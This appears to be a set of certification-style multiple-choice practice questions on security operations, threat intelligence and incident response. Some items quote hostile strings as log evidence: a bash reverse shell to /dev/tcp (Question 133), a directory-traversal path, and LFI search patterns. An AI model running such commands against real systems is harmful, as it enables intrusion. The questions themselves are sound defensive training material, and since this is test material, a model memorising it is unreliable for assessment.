An analyst has been asked to validate the potential risk of a new ransomware campaign that the Chief Financial Officer read about in the newspaper. The company is a manufacturer of a very small spring used in the newest fighter jet and is a critical piece of the supply chain for this aircraft.

Which of the following would be the best threat intelligence source to learn about this new campaign?

1. Information sharing organization
2. Blogs/forums
3. Cybersecurity incident response team
4. Deep/dark web

Question 114

An analyst is examining events in multiple systems but is having difficulty correlating data points.

Which of the following is most likely the issue with the system?

1. Access rights
2. Network segmentation
3. Time synchronization
4. Invalid playbook

Question 115

A SOC analyst wants to improve the proactive detection of malicious emails before they are delivered to the destination inbox.

Which of the following is the best approach the SOC analyst can recommend?

1. Install UEBA software on the network.
2. Validate and quarantine emails with invalid DKIM and SPF headers.
3. Implement an EDR system on each endpoint.
4. Deploy a DLP platform to block unauthorized and suspicious content.

Question 116

After reviewing the final report for a penetration test, a cybersecurity analyst prioritizes the remediation for input validation vulnerabilities.

Which of the following attacks is the analyst seeking to prevent?

1. DNS poisoning
2. Pharming
3. Phishing
4. Cross-site scripting

Question 117

Which of the following would help to minimize human engagement and aid in process improvement in security operations?

1. OSSTMM
2. SIEM
3. SOAR
4. OWASP

Question 118

An organization plans to use an advanced machine-learning tool as a central collection server. The tool will perform data aggregation and analysis.

Which of the following should the organization implement?

1. SIEM
2. Firewalls
3. Syslog server
4. Flow analysis

Question 119

An employee is no longer able to log in to an account after updating a browser. The employee usually has several tabs open in the browser.

Which of the following attacks was most likely performed?

1. RFI
2. LFI
3. CSRF
4. XSS

Question 120

A cloud team received an alert that unauthorized resources were being auto-provisioned. After investigating, the team suspects that cryptomining is occurring.

Which of the following indicators would most likely lead the team to this conclusion?

1. High GPU utilization
2. Bandwidth consumption
3. Unauthorized changes
4. Unusual traffic spikes

Question 121

A user downloads software that contains malware onto a computer that eventually infects numerous other systems.

Which of the following has the user become?

1. Hacktivist
2. Advanced persistent threat
3. Insider threat
4. Script kiddie

Question 122

The management team requests monthly KPI reports on the company’s cybersecurity program.

Which of the following KPIs would identify how long a security threat goes unnoticed in the environment?

1. Employee turnover
2. Intrusion attempts
3. Mean time to detect
4. Level of preparedness

Question 123

There are several reports of sensitive information being disclosed via file sharing services. The company would like to improve its security posture against this threat.

Which of the following security controls would best support the company in this scenario?

1. Implement step-up authentication for administrators
2. Improve employee training and awareness
3. Increase password complexity standards
4. Deploy mobile device management

Question 124

A company is in the process of implementing a vulnerability management program.

Which of the following scanning methods should be implemented to minimize the risk of OT/ICS devices malfunctioning due to the vulnerability identification process?

1. Non-credentialed scanning
2. Passive scanning
3. Agent-based scanning
4. Credentialed scanning

Question 125

Which of the following will most likely cause severe issues with authentication and logging?

1. Virtualization
2. Multifactor authentication
3. Federation
4. Time synchronization

Question 126

A security analyst discovers an LFI vulnerability that can be exploited to extract credentials from the underlying host.

Which of the following patterns can the security analyst use to search the web server logs for evidence of exploitation of that particular vulnerability?

1. /etc/shadow
2. curl localhost
3. ; printenv
4. cat /proc/self/

Question 127

An incident response team is working with law enforcement to investigate an active web server compromise. The decision has been made to keep the server running and to implement compensating controls for a period of time. The web service must be accessible from the internet via the reverse proxy and must connect to a database server.

Which of the following compensating controls will help contain the adversary while meeting the other requirements? (Choose two).

1. Drop the tables on the database server to prevent data exfiltration.
2. Deploy EDR on the web server and the database server to reduce the adversary’s capabilities.
3. Stop the httpd service on the web server so that the adversary can not use web exploits.
4. Use microsegmentation to restrict connectivity to/from the web and database servers.
5. Comment out the HTTP account in the /etc/passwd file of the web server.
6. Move the database from the database server to the web server.

Question 128

An end-of-life date was announced for a widely used OS. A business-critical function is performed by some machinery that is controlled by a PC, which is utilizing the OS that is approaching the end-of-life date.

Which of the following best describes a security analyst’s concern?

1. Any discovered vulnerabilities will not be remediated.
2. An outage of machinery would cost the organization money.
3. Support will not be available for the critical machinery.
4. There are no compensating controls in place for the OS.

Question 129

During an incident, an analyst needs to acquire evidence for later investigation.

Which of the following must be collected first in a computer system, related to its volatility level?

1. Disk contents
2. Backup data
3. Temporary files
4. Running processes

Question 130

After a security assessment was done by a third-party consulting firm, the cybersecurity program recommended integrating DLP and CASE to reduce analyst alert fatigue.

Which of the following is the best possible outcome that this effort hopes to achieve?

1. SIEM ingestion logs are reduced by 20%.
2. Phishing alerts drop by 20%.
3. False positive rates drop to 20%.
4. The MTTR decreases by 20%.

Question 131

A security analyst needs to ensure that systems across the organization are protected based on the sensitivity of the content each system hosts.

The analyst is working with the respective system owners to help determine the best methodology that seeks to promote confidentiality, availability, and integrity of the data being hosted.

Which of the following should the security analyst perform first to categorize and prioritize the respective systems?

1. Interview the users who access these systems.
2. Scan the systems to see which vulnerabilities currently exist.
3. Configure alerts for vendor-specific zero-day exploits.
4. Determine the asset value of each system.

Question 132

Following an incident, a security analyst needs to create a script for downloading the configuration of all assets from the cloud tenancy.

Which of the following authentication methods should the analyst use?

1. MFA
2. User and password
3. PAM
4. Key pair

Question 133

A security analyst identified the following suspicious entry on the host-based IDS logs: bash -i >& /dev/tcp/10.1.2.3/8080 0>&1

Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

1. #!/bin/bash nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
2. #!/bin/bash ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
3. #!/bin/bash ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
4. #!/bin/bash netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

Question 134

A security analyst needs to provide evidence of regular vulnerability scanning on the company's network for an auditing process.

Which of the following is an example of a tool that can produce such evidence?

1. OpenVAS
2. Burp Suite
3. Nmap
4. Wireshark

Question 135

A SOC manager is establishing a reporting process to manage vulnerabilities.

Which of the following would be the best solution to identify potential loss incurred by an issue?

1. Trends
2. Risk score
3. Mitigation
4. Prioritization

Question 136

The Chief Information Security Officer for an organization recently received approval to install a new EDR solution. Following the installation, the number of alerts that require remediation by an analyst has tripled.

Which of the following should the organization utilize to best centralize the workload for the internal security team? (Choose two.)

1. SOAR
2. SIEM
3. MSP
4. NGFW
5. XDR
6. DLP

Question 137

A cybersecurity analyst is tasked with scanning a web application to understand where the scan will go and whether there are URIs that should be denied access prior to more in-depth scanning.

Which of following best fits the type of scanning activity requested?

1. Uncredentialed scan
2. Discovery scan
3. Vulnerability scan
4. Credentialed scan

Question 138

An analyst suspects cleartext passwords are being sent over the network.

Which of the following tools would best support the analyst's investigation?

1. OpenVAS
2. Angry IP Scanner
3. Wireshark
4. Maltego

Question 139

A corporation wants to implement an agent-based endpoint solution to help:

• Flag various threats

• Review vulnerability feeds

• Aggregate data

• Provide real-time metrics by using scripting languages

Which of the following tools should the corporation implement to reach this goal?

1. DLP
2. Heuristics
3. SOAR
4. NAC

Question 140

While reviewing the web server logs, a security analyst notices the following snippet:

..\../..\../boot.ini

Which of the following is being attempted?

1. Directory traversal
2. Remote file inclusion
3. Cross-site scripting
4. Remote code execution
5. Enumeration of /etc/passwd

Question 141

A cybersecurity analyst notices unusual network scanning activity coming from a country that the company does not do business with.

Which of the following is the best mitigation technique?

1. Geoblock the offending source country.
2. Block the IP range of the scans at the network firewall.
3. Perform a historical trend analysis and look for similar scanning activity.
4. Block the specific IP address of the scans at the network firewall.

Question 142

Which of the following entities should an incident manager work with to ensure correct processes are adhered to when communicating incident reporting to the general public, as a best practice? (Choose two.)

1. Law enforcement
2. Governance
3. Legal
4. Manager
5. Public relations
6. Human resources

Question 143

A Chief Information Security Officer (CISO) is concerned that a specific threat actor who is known to target the company’s business type may be able to breach the network and remain inside of it for an extended period of time.

Which of the following techniques should be performed to meet the CISO’s goals?

1. Vulnerability scanning
2. Adversary emulation
3. Passive discovery
4. Bug bounty

Question 144

A company is in the middle of an incident, and customer data has been breached.

Which of the following should the company contact first?

1. Media
2. Public relations
3. Law enforcement
4. Legal

Question 145

Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?

1. MITRE ATT&CK
2. Cyber Kill Cham
3. OWASP
4. STIX/TAXII

Question 146

Which of the following best describes the document that defines the expectation to network customers that patching will only occur between 2:00 a.m. and 4:00 a.m.?

1. SLA
2. LOI
3. MOU
4. KPI

Question 147

An organization receives a legal hold request from an attorney. The request pertains to emails related to a disputed vendor contract.

Which of the following is the best step for the security team to take to ensure compliance with the request?

1. Publicly disclose the request to other vendors
2. Notify the departments involved to preserve potentially relevant information
3. Establish a chain of custody starting with the attorney's request
4. Back up the mailboxes on the server and provide the attorney with a copy

Question 148

An organization was compromised, and the usernames and passwords of all employees were leaked online.

Which of the following best describes the remediation that could reduce the impact of this situation?

1. Multifactor authentication
2. Password changes
3. System hardening
4. Password encryption

Question 149

A managed security service provider is having difficulty retaining talent due to an increasing workload caused by a client doubling the number of devices connected to the network.

Which of the following would best aid in decreasing the workload without increasing staff?

1. SIEM
2. XDR
3. SOAR
4. EDR

Question 150

A security analyst is trying to detect connections to a suspicious IP address by collecting the packet captures from the gateway.

Which of the following commands should the security analyst consider running?

1. grep [IP address] packets.pcap
2. cat packets.pcap | grep [IP Address]
3. tcpdump -n -r packets.pcap host [IP address]
4. strings packets.pcap | grep [IP Address]

Question 151

Which of the following most accurately describes the Cyber Kill Chain methodology?

1. It is used to correlate events to ascertain the TTPs of an attacker.
2. It is used to ascertain lateral movements of an attacker, enabling the process to be stopped.
3. It provides a clear model of how an attacker generally operates during an intrusion and the actions to take at each stage.
4. It outlines a clear path for determining the relationships between the attacker, the technology used, and the target.

Question 152

Which of the following evidence collection methods is most likely to be acceptable in court cases?

1. Copying all access files at the time of the incident
2. Creating a file-level archive of all files
3. Providing a full system backup inventory
4. Providing a bit-level image of the hard drive

Question 153

An organization has experienced a breach of customer transactions. Under the terms of PCI DSS, which of the following groups should the organization report the breach to?

1. PCI Security Standards Council
2. Local law enforcement
3. Federal law enforcement
4. Card issuer

Question 154

Which of the following concepts is using an API to insert bulk access requests from a file into an identity management system an example of?

1. Command and control
2. Data enrichment
3. Automation
4. Single sign-on

Question 155

An organization has activated the CSIRT. A security analyst believes a single virtual server was compromised and immediately isolated from the network.

Which of the following should the CSIRT conduct next?

1. Take a snapshot of the compromised server and verify its integrity
2. Restore the affected server to remove any malware
3. Contact the appropriate government agency to investigate
4. Research the malware strain to perform attribution

Question 156

A recent audit of the vulnerability management program outlined the finding for increased awareness of secure coding practices.

Which of the following would be best to address the finding?

1. Establish quarterly SDLC training on the top vulnerabilities for developers
2. Conduct a yearly inspection of the code repositories and provide the report to management.
3. Hire an external penetration test of the network
4. Deploy more vulnerability scanners for increased coverage

Question 157

Which of the following is a benefit of the Diamond Model of Intrusion Analysis?

1. It provides analytical pivoting and identifies knowledge gaps.
2. It guarantees that the discovered vulnerability will not be exploited again in the future.
3. It provides concise evidence that can be used in court.
4. It allows for proactive detection and analysis of attack events.

Question 158

Which of the following risk management principles is accomplished by purchasing cyber insurance?

1. Accept
2. Avoid
3. Mitigate
4. Transfer

Question 159

Which of the following is a nation-state actor least likely to be concerned with?

1. Detection by MITRE ATT&CK framework.
2. Detection or prevention of reconnaissance activities.
3. Examination of its actions and objectives.
4. Forensic analysis for legal action of the actions taken.

Question 160

During an incident, some IoCs of possible ransomware contamination were found in a group of servers in a segment of the network.

Which of the following steps should be taken next?

1. Isolation
2. Remediation
3. Reimaging
4. Preservation